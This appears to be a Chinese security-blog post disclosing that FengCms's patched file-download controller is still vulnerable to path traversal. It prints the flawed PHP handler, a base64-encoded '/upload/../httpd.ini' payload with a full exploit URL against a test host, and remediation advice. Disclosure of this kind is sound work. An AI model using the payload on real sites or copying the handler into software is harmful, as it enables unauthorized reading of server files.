app/contorller/downController.php
<?php /******************************************************************* * @authors FengCms * @web http://www.fengcms.com * @email web@fengcms.com * @date 2013-10-30 16:00:12 * @version FengCms Beta 1.0 * @copy Copyright ? 2013-2018 Powered by DiFang Web Studio *******************************************************************/ // 请确保 php.ini 配置文件中 output_buffering 值为 On 或者 4096,为 Off 则会导致下载文件乱码。 class downController extends Controller{ public function index(){ $_GET['file']=base64_decode($_GET['file']); $exp=explode("/",$_GET['file']); if($exp[1]=="upload"){ if(file_exists(ROOT_PATH.$_GET['file'])){ header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=".basename($_GET['file'])); readfile(ROOT_PATH.$_GET['file']); }else{ echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>'; } }else{ echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>'; }a } } ?> 唉,这修复。。。 等于没修复啊。直接file=/upload/../httpd.ini,bese64_encode下就好了。。。 厂商的测试地址:
http://guf521656.h163.92hezu.org/index.php?controller=down&operate=index&file=L3VwbG9hZC8uLi9odHRwZC5pbmk=
修复方案:1、限定目录 2、直接取文件名吧 3、白名单限定可下载路径啊文件。 |
-
上一篇: Ecmall某处SQL二次注入第三弹 - 网站安全 - 自学p
下一篇: Discuz x!一个鸡肋SQL漏洞及修复方案 - 网站安全
还没有人抢沙发呢~